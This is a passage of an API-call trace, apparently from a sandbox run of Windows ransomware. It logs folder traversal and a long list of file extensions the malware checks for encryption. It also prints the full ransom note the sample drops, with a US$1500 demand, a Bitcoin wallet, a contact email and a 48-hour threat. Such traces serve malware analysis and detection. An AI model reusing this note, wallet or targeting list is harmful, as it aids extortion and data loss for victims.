Internet Files\\Content.IE5\\index.dat") returned="index.dat" [0144.381] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\", lpString2="LIXMVQOA" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA" [0144.381] lstrlenA (lpString="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA") returned 118 [0144.381] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730079, dwReserved1=0x650074, cFileName=".", cAlternateFileName="")) returned 0x502798 [0144.383] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.384] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x650000, cFileName="..", cAlternateFileName="")) returned 1 [0144.384] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.384] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.384] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.384] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0144.384] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0144.384] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0144.384] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0144.384] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\*.*") returned="*.*" [0144.384] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\" [0144.384] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\") returned="" [0144.384] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\HOW TO DECRYPT FILES.txt" [0144.384] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\lixmvqoa\\how to decrypt files.txt")) returned 0xffffffff [0144.384] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\lixmvqoa\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0144.385] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0144.385] WriteFile (in: hFile=0xa8, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0144.387] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.387] CloseHandle (hObject=0xa8) returned 1 [0144.387] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\", lpString2="desktop.ini" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini" [0144.387] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.ems") returned 0 [0144.387] lstrlenA (lpString="*.ems") returned 5 [0144.387] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.db") returned 0 [0144.387] lstrlenA (lpString="*.db") returned 4 [0144.387] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.dbf") returned 0 [0144.387] lstrlenA (lpString="*.dbf") returned 5 [0144.387] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.myox") returned 0 [0144.387] lstrlenA (lpString="*.myox") returned 6 [0144.387] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.myo") returned 0 [0144.387] lstrlenA (lpString="*.myo") returned 5 [0144.387] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.qbw") returned 0 [0144.387] lstrlenA (lpString="*.qbw") returned 5 [0144.387] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.qbb") returned 0 [0144.387] lstrlenA (lpString="*.qbb") returned 5 [0144.387] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.qbm") returned 0 [0144.387] lstrlenA (lpString="*.qbm") returned 5 [0144.387] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.qbo") returned 0 [0144.387] lstrlenA (lpString="*.qbo") returned 5 [0144.387] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.qbx") returned 0 [0144.388] lstrlenA (lpString="*.qbx") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.qba") returned 0 [0144.388] lstrlenA (lpString="*.qba") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.qby") returned 0 [0144.388] lstrlenA (lpString="*.qby") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.qbj") returned 0 [0144.388] lstrlenA (lpString="*.qbj") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.ofx") returned 0 [0144.388] lstrlenA (lpString="*.ofx") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.qif") returned 0 [0144.388] lstrlenA (lpString="*.qif") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.mye") returned 0 [0144.388] lstrlenA (lpString="*.mye") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.mbox") returned 0 [0144.388] lstrlenA (lpString="*.mbox") returned 6 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.eml") returned 0 [0144.388] lstrlenA (lpString="*.eml") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.pst") returned 0 [0144.388] lstrlenA (lpString="*.pst") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.ost") returned 0 [0144.388] lstrlenA (lpString="*.ost") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.idx") returned 0 [0144.388] lstrlenA (lpString="*.idx") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.dbx") returned 0 [0144.388] lstrlenA (lpString="*.dbx") returned 5 [0144.388] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.sql") returned 0 [0144.388] lstrlenA (lpString="*.sql") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.mdb") returned 0 [0144.389] lstrlenA (lpString="*.mdb") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.fdb") returned 0 [0144.389] lstrlenA (lpString="*.fdb") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.wab") returned 0 [0144.389] lstrlenA (lpString="*.wab") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.dat") returned 0 [0144.389] lstrlenA (lpString="*.dat") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.txt") returned 0 [0144.389] lstrlenA (lpString="*.txt") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.jpeg") returned 0 [0144.389] lstrlenA (lpString="*.jpeg") returned 6 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.jpg") returned 0 [0144.389] lstrlenA (lpString="*.jpg") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.png") returned 0 [0144.389] lstrlenA (lpString="*.png") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.php") returned 0 [0144.389] lstrlenA (lpString="*.php") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.cs") returned 0 [0144.389] lstrlenA (lpString="*.cs") returned 4 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.cpp") returned 0 [0144.389] lstrlenA (lpString="*.cpp") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.rar") returned 0 [0144.389] lstrlenA (lpString="*.rar") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.zip") returned 0 [0144.389] lstrlenA (lpString="*.zip") returned 5 [0144.389] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.html") returned 0 [0144.390] lstrlenA (lpString="*.html") returned 6 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.htm") returned 0 [0144.390] lstrlenA (lpString="*.htm") returned 5 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.xlsx") returned 0 [0144.390] lstrlenA (lpString="*.xlsx") returned 6 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.xls") returned 0 [0144.390] lstrlenA (lpString="*.xls") returned 5 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.mp4") returned 0 [0144.390] lstrlenA (lpString="*.mp4") returned 5 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.ppt") returned 0 [0144.390] lstrlenA (lpString="*.ppt") returned 5 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.pptx") returned 0 [0144.390] lstrlenA (lpString="*.pptx") returned 6 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.doc") returned 0 [0144.390] lstrlenA (lpString="*.doc") returned 5 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.dot") returned 0 [0144.390] lstrlenA (lpString="*.dot") returned 5 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.docx") returned 0 [0144.390] lstrlenA (lpString="*.docx") returned 6 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.7z") returned 0 [0144.390] lstrlenA (lpString="*.7z") returned 4 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.tar") returned 0 [0144.390] lstrlenA (lpString="*.tar") returned 5 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.bz2") returned 0 [0144.390] lstrlenA (lpString="*.bz2") returned 5 [0144.390] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.gz") returned 0 [0144.390] lstrlenA (lpString="*.gz") returned 4 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.mkv") returned 0 [0144.391] lstrlenA (lpString="*.mkv") returned 5 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.eml") returned 0 [0144.391] lstrlenA (lpString="*.eml") returned 5 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.msg") returned 0 [0144.391] lstrlenA (lpString="*.msg") returned 5 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.edb") returned 0 [0144.391] lstrlenA (lpString="*.edb") returned 5 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.accdb") returned 0 [0144.391] lstrlenA (lpString="*.accdb") returned 7 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.odb") returned 0 [0144.391] lstrlenA (lpString="*.odb") returned 5 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.java") returned 0 [0144.391] lstrlenA (lpString="*.java") returned 6 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.asm") returned 0 [0144.391] lstrlenA (lpString="*.asm") returned 5 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.pfx") returned 0 [0144.391] lstrlenA (lpString="*.pfx") returned 5 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.pem") returned 0 [0144.391] lstrlenA (lpString="*.pem") returned 5 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.p12") returned 0 [0144.391] lstrlenA (lpString="*.p12") returned 5 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.gpg") returned 0 [0144.391] lstrlenA (lpString="*.gpg") returned 5 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.vsd") returned 0 [0144.391] lstrlenA (lpString="*.vsd") returned 5 [0144.391] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.odg") returned 0 [0144.391] lstrlenA (lpString="*.odg") returned 5 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.raw") returned 0 [0144.392] lstrlenA (lpString="*.raw") returned 5 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.nef") returned 0 [0144.392] lstrlenA (lpString="*.nef") returned 5 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.svg") returned 0 [0144.392] lstrlenA (lpString="*.svg") returned 5 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.psd") returned 0 [0144.392] lstrlenA (lpString="*.psd") returned 5 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.vmx") returned 0 [0144.392] lstrlenA (lpString="*.vmx") returned 5 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.vmdk") returned 0 [0144.392] lstrlenA (lpString="*.vmdk") returned 6 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.vdi") returned 0 [0144.392] lstrlenA (lpString="*.vdi") returned 5 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.lay6") returned 0 [0144.392] lstrlenA (lpString="*.lay6") returned 6 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.mpeg") returned 0 [0144.392] lstrlenA (lpString="*.mpeg") returned 6 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.djvu") returned 0 [0144.392] lstrlenA (lpString="*.djvu") returned 6 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.tiff") returned 0 [0144.392] lstrlenA (lpString="*.tiff") returned 6 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.backup") returned 0 [0144.392] lstrlenA (lpString="*.backup") 